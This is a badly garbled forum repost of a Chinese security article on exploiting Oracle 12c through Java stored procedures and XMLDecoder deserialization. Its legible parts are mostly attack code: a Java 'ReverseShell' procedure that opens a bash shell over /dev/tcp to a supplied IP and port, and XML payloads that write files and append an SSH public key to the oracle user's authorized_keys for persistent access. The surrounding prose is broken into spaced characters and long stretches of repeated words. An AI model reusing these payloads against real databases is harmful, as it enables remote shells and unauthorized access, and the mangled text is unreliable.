[6351] 2019-12-13_Oracle数据库安全思考之xml反序列化

文档创建者:s7ckTeam
浏览次数:8
最后更新:2025-01-17
2019-12-13_Oracle数据库安全思考之xml反序列化 O r a c l e x m l E   2 0 1 9 - 1 2 - 1 3   4 c k 1 k N o . 1 N o . 1 使 N o . 2 N o . 2 o r a c l e d m c e n t o s   6 . 5 O r a c l e   D a t a b a s e   1 2 c   E n t e r p r i s e   E d i t i o n   R e l e a s e   1 2 . 2 . 0 . 1 . 0   -   6 4 b i t   P r o d u c t i o n : T E S T E R 访 S Q L P L U S 使 P L / S Q L X M L X M L J a v a   O b j e c t O b j e c t O r a c l e 使 X M L D e c o d e r X M L O r a c l e   J V M 使 X M L F i l e W r i t e r w r i t e N o . 3 N o . 3 J a v a J a v a J a v a J a v a J a v a J a v a J a v a J a v a J a v a J a v a J a v a J a v a J a v a J a v a J a v a J a v a J a v a J a v a J a v a J a v a J a v a J a v a J a v a J a v a J a v a J a v a J a v a J a v a J a v a J a v a J a v a J a v a J a v a J a v a O r a c l e J a v a O r a c l e J a v a J a v a S Q L 使 J a v a O r a c l e J a v a J a v a J L S P L / S Q L J a v a O r a c l e 访 P L / S Q L J a v a N o 4 N o 4 S Q L j a v a S Q L j a v a S Q L j a v a S Q L j a v a S Q L j a v a S Q L j a v a S Q L j a v a S Q L j a v a S Q L j a v a S Q L j a v a S Q L j a v a S Q L j a v a S Q L j a v a S Q L j a v a S Q L j a v a S Q L j a v a S Q L j a v a S Q L j a v a S Q L j a v a S Q L j a v a S Q L j a v a S Q L j a v a S Q L j a v a S Q L j a v a S Q L j a v a S Q L j a v a S Q L j a v a S Q L j a v a S Q L j a v a S Q L j a v a S Q L j a v a S Q L j a v a S Q L j a v a S Q L j a v a c r e a t e   f u n c t i o n   g e t _ j a v a _ p r o p e r t y ( p r o p   i n   v a r c h a r 2 )   r e t u r n   v a r c h a r 2   i s   l a n g u a g e   j a v a   n a m e   ' j a v a . n a m e . S y s t e m . g e t P r o p e r t y ( j a v a . l a n g . S t r i n g )   r e t u r n   j a v a . l a n g . S t r i n g ' ; N o . 5 N o . 5 J V M J V M J V M J V M J V M J V M J V M J V M J V M J V M J V M J V M J V M J V M J V M J V M J V M J V M J V M J V M J V M J V M J V M J V M J V M J V M J V M J V M J V M J V M J V M J V M J V M J V M S E T   s c a n   o f f c r e a t e   o r   r e p l a c e   a n d   c o m p i l e   j a v a   s o u r c e   n a m e d   R e v e r s e S h e l l   a s i m p o r t   j a v a . i o . * ; p u b l i c   c l a s s   R e v e r s e S h e l l {     p u b l i c   s t a t i c   v o i d   g e t C o n n e c t i o n ( S t r i n g   i p ,   S t r i n g   p o r t )   t h r o w s   I n t e r r u p t e d E x c e p t i o n ,   I O E x c e p t i o n {           R u n t i m e   r   =   R u n t i m e . g e t R u n t i m e ( ) ;           P r o c e s s   p   =   r . e x e c ( n e w   S t r i n g [ ] { " / b i n / b a s h " , " - c " , " 0 < & 1 2 6 - ; e x e c   1 2 6 < > / d e v / t c p / "   +   i p   +   " / "   +   p o r t   +   " ; / b i n / b a s h   < & 1 2 6   > & 1 2 6   2 > & 1 2 6 " } ) ;             S y s t e m . o u t . p r i n t l n ( p . t o S t r i n g ( ) ) ;           p . w a i t F o r ( ) ;     } } / c r e a t e   o r   r e p l a c e   p r o c e d u r e   r e v e r s e _ s h e l l   ( p _ i p   I N   V A R C H A R 2 , p _ p o r t   I N   V A R C H A R 2 ) I S   l a n g u a g e   j a v a   n a m e   ' R e v e r s e S h e l l . g e t C o n n e c t i o n ( j a v a . l a n g . S t r i n g ,   j a v a . l a n g . S t r i n g ) ' ; O r a c l e   J V M O S 访   .
访 O R A - 2 9 5 3 2 J a v a   c a l l   t e r m i n a t e d   b y   u n c a u g h t   J a v a   e x c e p t i o n N o . 6 N o . 6 X M L X M L X M L X M L X M L X M L X M L X M L X M L X M L X M L X M L X M L X M L X M L X M L X M L X M L X M L X M L X M L X M L X M L X M L X M L X M L X M L X M L X M L X M L X M L X M L X M L X M L X M L J a v a X M L 使 X M L j a v a . b e a n s X M L E n c o d e r X M L D e c o d e r J a v a X M L 访 O r a c l e T E S T E R C O N N E C T R E S O U R C E J a v a   D e c o d e M e J a v a c r e a t e   o r   r e p l a c e   a n d   c o m p i l e   j a v a   s o u r c e   n a m e d   D e c o d e M e   a s i m p o r t   j a v a . i o . * ; i m p o r t   j a v a . b e a n s . * ; p u b l i c   c l a s s   D e c o d e M e {         p u b l i c   s t a t i c   v o i d   i n p u t ( S t r i n g   x m l )   t h r o w s   I n t e r r u p t e d E x c e p t i o n ,   I O E x c e p t i o n   {           X M L D e c o d e r   d e c o d e r   =   n e w   X M L D e c o d e r   (   n e w   B y t e A r r a y I n p u t S t r e a m ( x m l . g e t B y t e s ( ) ) ) ;             O b j e c t   o b j e c t   =   d e c o d e r . r e a d O b j e c t ( ) ;             S y s t e m . o u t . p r i n t l n ( o b j e c t . t o S t r i n g ( ) ) ;           d e c o d e r . c l o s e ( ) ;                   } } ; / C R E A T E   O R   R E P L A C E   P R O C E D U R E   d e c o d e m e   ( p _ x m l   I N   V A R C H A R 2 )   I S       l a n g u a g e   j a v a   n a m e   ' D e c o d e M e . i n p u t ( j a v a . l a n g . S t r i n g ) ' ; / X M L J a v a X M L p r i n t l n B E G I N d e c o d e m e ( ' < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 "   ? > < j a v a   v e r s i o n = " 1 . 4 . 0 "   c l a s s = " j a v a . b e a n s . X M L D e c o d e r " >   < o b j e c t   c l a s s = " j a v a . l a n g . S y s t e m "   f i e l d = " o u t " >   < v o i d   m e t h o d = " p r i n t l n " > < s t r i n g > T h i s   i s   t e s t   o u t p u t   t o   t h e   c o n s o l e < / s t r i n g > < / v o i d > < / o b j e c t > < / j a v a > ' ) ; E N D ; /
J V M O S B E G I N     d e c o d e m e ( '                               < j a v a   c l a s s = " j a v a . b e a n s . X M L D e c o d e r "   v e r s i o n = " 1 . 4 . 0 "   >                                     < o b j e c t   c l a s s = " j a v a . i o . F i l e W r i t e r " >                                           < s t r i n g > / t m p / t e s t . t x t   < / s t r i n g >                                           < b o o l e a n > T r u e < / b o o l e a n >                                           < v o i d   m e t h o d = " w r i t e " >                                                 < s t r i n g > t e s t < / s t r i n g >                                           < / v o i d >                                           < v o i d   m e t h o d = " c l o s e "   / >                                     < / o b j e c t >                               < / j a v a > ' ) ; E N D ; / / t m p t e s t . t x t O r a c l e p a y l o a d p l / s q l 使 O r a c l e 访 S S H R S A R S A O r a c l e
E G I N       d e c o d e m e ( '                                               < j a v a   c l a s s = " j a v a . b e a n s . X M L D e c o d e r "   v e r s i o n = " 1 . 4 . 0 " >                                                               < o b j e c t   c l a s s = " j a v a . i o . F i l e W r i t e r " >                                                                                 < s t r i n g > / h o m e / o r a c l e / . s s h / a u t h o r i z e d _ k e y s < / s t r i n g >           < b o o l e a n > T r u e < / b o o l e a n >                                                               < v o i d   m e t h o d = " w r i t e " >                                                                                 < s t r i n g > s s h - r s a A A A A B 3 N z a C 1 y c 2 E A A A A D A Q A B A A A B A Q C e d K Q P e o J 1 U e J E W 6 Z V k i u W A x B K W 8 F 4 f c 0 V r W x R 5 H E g a A c V o d h g c 6 X 7 k l y O W r J c e G q I C c C Z d 6 K + / l v I 3 x a E 2 s c J p R Z W l c J Q N C o Z M R f m l h i b q 9 I W M H 0 d m 5 L q L 3 Q M q r X z Z + a 2 d f N o h S d S m L D T a F H k z O G K E Q I w H C v / e 4 e / e K n m 0 f U W H e L 0 k 4 K u C n 3 M Q U N 1 H w o q o C c i R 0 D r B D O Y A K H x q p B v 9 r D n e C d v a S + t q l r 5 e S h j N l H v 1 Y z J G b 0 l Z Z l s n y 1 9 i s 8 C k h c Z 6 + O + U C K o B P r x a G s f i p s E I H 5 a P u 9 x V A 9 0 X g s a k h g 4 y o y 9 F L n E S + x m n V x K X 5 G H y i x i 3 q e W G D w B s A v h A A G L x O c 5 < / s t r i n g >                                                               < / v o i d >                                                               < v o i d   m e t h o d = " c l o s e "   / >                                                               < / o b j e c t >                                               < / j a v a >                                                 ' ) ; E N D ; / R S A O r a c l e a u t h e n t i c a t e d _ k e y s O r a c l e S S H O r a c l e S Y S 访 N o . 7 N o . 7 1 2 . 2 . 0 . 1 . 1 8 0 7 1 7 p 2 7 9 2 3 3 5 3 _ 1 2 2 0 1 0 _ L i n u x - x 8 6 - 6 4 . z i p
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则